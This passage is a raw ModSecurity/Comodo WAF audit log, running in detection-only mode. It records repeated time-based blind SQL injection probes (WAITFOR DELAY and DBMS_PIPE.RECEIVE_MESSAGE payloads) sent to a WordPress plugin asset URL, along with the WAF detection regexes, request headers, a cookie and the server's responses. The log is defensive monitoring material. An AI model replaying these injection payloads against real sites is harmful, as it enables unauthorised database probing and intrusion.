[rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%27%29%3BWAITFOR%20DELAY%20%270%3A0%3A5%27--"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: 1749036687');WAITFOR DELAY '0:0:5'-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: waitfor delay '0:0:5'-- found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687');waitfor delay '0:0:5'--"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%27%29%3BWAITFOR%20DELAY%20%270%3A0%3A5%27--"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88xXZqyQ8YfVGvJU7YTwAAAAY"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: 1749036687');WAITFOR DELAY '0:0:5'-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88xXZqyQ8YfVGvJU7YTwAAAAY"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: waitfor delay '0:0:5'-- found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687');waitfor delay '0:0:5'--"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88xXZqyQ8YfVGvJU7YTwAAAAY"] Stopwatch: 1750023365606919 5676 (- - -) Stopwatch2: 1750023365606919 5676; combined=3738, p1=334, p2=3199, p3=31, p4=26, p5=148, sr=84, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --64c54c49-Z-- --9262d76d-A-- [16/Jun/2025:03:06:06.120372 +0530] aE88xvkun2jazaBvM9ttsgAAAAE 162.158.110.167 59312 127.0.0.1 7081 --9262d76d-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%27%3BWAITFOR%20DELAY%20%270%3A0%3A5%27-- HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.110.167 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950533744e69dcbe-FRA cf-visitor: {"scheme":"https"} user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cf-ipcountry: DE cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --9262d76d-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --9262d76d-E-- --9262d76d-H-- Message: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%27%3BWAITFOR%20DELAY%20%270%3A0%3A5%27--"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:[\\x22'`](?:;*? ?waitfor (?:delay|time) [\\x22'`]|;.{0,399}?: ?goto)|\\balter ?\\w+.{0,399}?\\bcha(?:racte)?r set \\w+))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "40"] [id "211710"] [rev "6"] [msg "COMODO WAF: Detects MySQL charset switch and MSSQL DoS attempts||www.getcalley.com|F|2"] [data "Matched Data: 1749036687';WAITFOR DELAY '0:0:5' found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: 1749036687';WAITFOR DELAY '0:0:5'-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: waitfor delay '0:0:5'-- found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687';waitfor delay '0:0:5'--"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%27%3BWAITFOR%20DELAY%20%270%3A0%3A5%27--"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88xvkun2jazaBvM9ttsgAAAAE"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:[\\\\\\\\x22'`](?:;*? ?waitfor (?:delay|time) [\\\\\\\\x22'`]|;.{0,399}?: ?goto)|\\\\\\\\balter ?\\\\\\\\w+.{0,399}?\\\\\\\\bcha(?:racte)?r set \\\\\\\\w+))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "40"] [id "211710"] [rev "6"] [msg "COMODO WAF: Detects MySQL charset switch and MSSQL DoS attempts||www.getcalley.com|F|2"] [data "Matched Data: 1749036687';WAITFOR DELAY '0:0:5' found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88xvkun2jazaBvM9ttsgAAAAE"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: 1749036687';WAITFOR DELAY '0:0:5'-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88xvkun2jazaBvM9ttsgAAAAE"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: waitfor delay '0:0:5'-- found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687';waitfor delay '0:0:5'--"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88xvkun2jazaBvM9ttsgAAAAE"] Stopwatch: 1750023366114257 6221 (- - -) Stopwatch2: 1750023366114257 6221; combined=4141, p1=515, p2=3417, p3=37, p4=29, p5=143, sr=155, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9262d76d-Z-- --2e1ace50-A-- [16/Jun/2025:03:06:06.646985 +0530] aE88xlGNm2a2ZAngdHCtjQAAAAc 172.71.164.209 59346 127.0.0.1 7081 --2e1ace50-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%29%3BSELECT%20DBMS_PIPE.RECEIVE_MESSAGE%28CHR%2878%29%7C%7CCHR%2890%29%7C%7CCHR%28101%29%7C%7CCHR%28122%29%2C5%29%20FROM%20DUAL-- HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.164.209 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505337798f0afea-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --2e1ace50-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --2e1ace50-E-- --2e1ace50-H-- Message: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\[(]?\\b\\w{2,}|\\bcreate function .+ returns\\b))" at ARGS:ver. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT DBMS_PIPE found within ARGS:ver: 1749036687);SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(78)||CHR(90)||CHR(101)||CHR(122),5) FROM DUAL"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\\\\\\\[(]?\\\\\\\\b\\\\\\\\w{2,}|\\\\\\\\bcreate function .+ returns\\\\\\\\b))" at ARGS:ver. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT DBMS_PIPE found within ARGS:ver: 1749036687);SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(78)||CHR(90)||CHR(101)||CHR(122),5) FROM DUAL"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88xlGNm2a2ZAngdHCtjQAAAAc"] Stopwatch: 1750023366642245 4830 (- - -) Stopwatch2: 1750023366642245 4830; combined=2936, p1=412, p2=2394, p3=33, p4=26, p5=71, sr=101, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2e1ace50-Z-- --61766d0f-A-- [16/Jun/2025:03:06:07.158669 +0530] aE88x0NwpNEMJppxC49RegAAAAI 172.70.248.78 59380 127.0.0.1 7081 --61766d0f-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%3BSELECT%20DBMS_PIPE.RECEIVE_MESSAGE%28CHR%2878%29%7C%7CCHR%2890%29%7C%7CCHR%28101%29%7C%7CCHR%28122%29%2C5%29%20FROM%20DUAL-- HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.70.248.78 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505337acf465d3e-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --61766d0f-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --61766d0f-E-- --61766d0f-H-- Message: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\[(]?\\b\\w{2,}|\\bcreate function .+ returns\\b))" at ARGS:ver. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT DBMS_PIPE found within ARGS:ver: 1749036687;SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(78)||CHR(90)||CHR(101)||CHR(122),5) FROM DUAL"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\\\\\\\[(]?\\\\\\\\b\\\\\\\\w{2,}|\\\\\\\\bcreate function .+ returns\\\\\\\\b))" at ARGS:ver. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT DBMS_PIPE found within ARGS:ver: 1749036687;SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(78)||CHR(90)||CHR(101)||CHR(122),5) FROM DUAL"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88x0NwpNEMJppxC49RegAAAAI"] Stopwatch: 1750023367153532 5270 (- - -) Stopwatch2: 1750023367153532 5270; combined=3150, p1=350, p2=2637, p3=36, p4=27, p5=100, sr=97, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --61766d0f-Z-- --d6c2ae0b-A-- [16/Jun/2025:03:06:07.676611 +0530] aE88x4l8S04UZ4l67-neCQAAAAk 172.71.250.165 59406 127.0.0.1 7081 --d6c2ae0b-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%27%29%3BSELECT%20DBMS_PIPE.RECEIVE_MESSAGE%28CHR%2878%29%7C%7CCHR%2890%29%7C%7CCHR%28101%29%7C%7CCHR%28122%29%2C5%29%20FROM%20DUAL-- HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.250.165 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505337dfa9637d4-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --d6c2ae0b-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --d6c2ae0b-E-- --d6c2ae0b-H-- Message: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\[(]?\\b\\w{2,}|\\bcreate function .+ returns\\b))" at ARGS:ver. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT DBMS_PIPE found within ARGS:ver: 1749036687');SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(78)||CHR(90)||CHR(101)||CHR(122),5) FROM DUAL"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\\\\\\\[(]?\\\\\\\\b\\\\\\\\w{2,}|\\\\\\\\bcreate function .+ returns\\\\\\\\b))" at ARGS:ver. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT DBMS_PIPE found within ARGS:ver: 1749036687');SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(78)||CHR(90)||CHR(101)||CHR(122),5) FROM DUAL"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88x4l8S04UZ4l67-neCQAAAAk"] Stopwatch: 1750023367671082 5622 (- - -) Stopwatch2: 1750023367671082 5622; combined=3659, p1=347, p2=3175, p3=33, p4=33, p5=71, sr=86, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d6c2ae0b-Z-- --b9509219-A-- [16/Jun/2025:03:06:08.187751 +0530] aE88yFR6EeXjkGzEkblkjAAAAAs 162.158.95.147 59432 127.0.0.1 7081 --b9509219-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%27%3BSELECT%20DBMS_PIPE.RECEIVE_MESSAGE%28CHR%2878%29%7C%7CCHR%2890%29%7C%7CCHR%28101%29%7C%7CCHR%28122%29%2C5%29%20FROM%20DUAL-- HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.95.147 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950533814bf4a41e-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --b9509219-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --b9509219-E-- --b9509219-H-- Message: Warning. Pattern match "(?i:(?:[\\x22'`](?:;? ?\\b(?:having|select|union)\\b ?[^\\s]| ?! ?[\\x22'`\\w])|\\b(?:c(?:onnection_id|urrent_user)|database)\\b ?\\(|\\bunion\\b[\\w(\\s]*?select\\b|\\buser ?\\(|\\bschema ?\\(|\\bselect.{0,399}?\\w?\\buser ?\\(|\\binto[\\s+]+(?:dump|o ..." at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "27"] [id "211650"] [rev "12"] [msg "COMODO WAF: Detects MSSQL code execution and information gathering attempts||www.getcalley.com|F|2"] [data "Matched Data: 1749036687';SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(78)||CHR(90)||CHR(101)||CHR(122),5) FROM DUAL found within MATCHED_VAR: 1749036687';SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(78)||CHR(90)||CHR(101)||CHR(122),5) FROM DUAL"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\[(]?\\b\\w{2,}|\\bcreate function .+ returns\\b))" at ARGS:ver. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT DBMS_PIPE found within ARGS:ver: 1749036687';SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(78)||CHR(90)||CHR(101)||CHR(122),5) FROM DUAL"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:[\\\\\\\\x22'`](?:;? ?\\\\\\\\b(?:having|select|union)\\\\\\\\b ?[^\\\\\\\\s]| ?! ?[\\\\\\\\x22'`\\\\\\\\w])|\\\\\\\\b(?:c(?:onnection_id|urrent_user)|database)\\\\\\\\b ?\\\\\\\\(|\\\\\\\\bunion\\\\\\\\b[\\\\\\\\w(\\\\\\\\s]*?select\\\\\\\\b|\\\\\\\\buser ?\\\\\\\\(|\\\\\\\\bschema ?\\\\\\\\(|\\\\\\\\bselect.{0,399}?\\\\\\\\w?\\\\\\\\buser ?\\\\\\\\(|\\\\\\\\binto[\\\\\\\\s+]+(?:dump|o ..." at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "27"] [id "211650"] [rev "12"] [msg "COMODO WAF: Detects MSSQL code execution and information gathering attempts||www.getcalley.com|F|2"] [data "Matched Data: 1749036687';SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(78)||CHR(90)||CHR(101)||CHR(122),5) FROM DUAL found within MATCHED_VAR: 1749036687';SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(78)||CHR(90)||CHR(101)||CHR(122),5) FROM DUAL"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88yFR6EeXjkGzEkblkjAAAAAs"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\\\\\\\[(]?\\\\\\\\b\\\\\\\\w{2,}|\\\\\\\\bcreate function .+ returns\\\\\\\\b))" at ARGS:ver. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] 